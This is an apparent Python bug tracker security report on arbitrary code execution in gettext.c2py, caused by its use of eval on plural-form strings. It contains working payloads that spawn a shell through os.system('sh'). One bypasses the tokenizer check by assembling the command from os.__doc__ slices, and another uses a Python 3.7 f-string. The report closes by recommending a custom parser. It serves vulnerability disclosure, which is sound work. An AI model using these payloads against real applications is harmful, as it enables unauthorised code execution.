New submission from Carl Ekerot:

The c2py-function in the gettext module is seriously flawed in many ways due
to its use of eval to create a plural function:

   return eval('lambda n: int(%s)' % plural)

My first discovery was that nothing prevents an input plural string that
resembles a function call:

   gettext.c2py("n()")(lambda: os.system("sh"))

This is of course a low risk bug, since it requires control of both the plural
function string and the argument.

Gaining arbitrary code execution using only the plural function string requires
that the security checks are bypassed. The security checks utilize the tokenize
module and makes sure that no NAME-tokens that are not "n" exist in the string.
However, it does not check if the parser succeeds without any token.ERRORTOKEN
being present. Hence, the following input will pass the security checks:

   gettext.c2py( '"(eval(foo) && ""'  )(0)

   ----> 1 gettext.c2py( '"(eval(foo) && ""'  )(0)
   gettext.pyc in <lambda>(n)
   NameError: global name 'foo' is not defined

It will pass since it recognizes the entire input as a STRING token, and
subsequently fails with an ERRORTOKEN.

Passing a string in the argument to eval will however break the exploit since
the parser will read the start-of-string in the eval argument as end-of-string,
and the eval argument will be read as a NAME-token.

Instead of passing a string to eval, we can build a string from characters in
the docstrings available in the context of the gettext module:

   gettext.c2py('"(eval('
       'os.__doc__[152:155] + ' # os.
       'os.__doc__[46:52] + '   # system
       'os.__doc__[318] + '     # (
       'os.__doc__[55] + '      # '
       'os.__doc__[10] + '      # s
       'os.__doc__[42] + '      # h
       'os.__doc__[55] + '      # '
       'os.__doc__[329]'        # )
       ') && ""')(0)

This will successfully spawn a shell in Python 2.7.11.

Bonus: With the new string interpolation in Python 3.7, exploiting gettext.c2py
becomes trivial:

   gettext.c2py('f"{os.system(\'sh\')}"')(0)

The tokenizer will recognize the entire format-string as just a string, thus
bypassing the security checks.

To mitigate these vulnerabilities, eval should be avoided by implementing a
custom parser for the gettext plural function DSL.

----------
components: Library (Lib)
messages: 279734
nosy: Carl Ekerot
priority: normal
severity: normal
status: open
title: Arbitrary code execution in gettext.c2py
type: security
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue28563>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

Reply via email to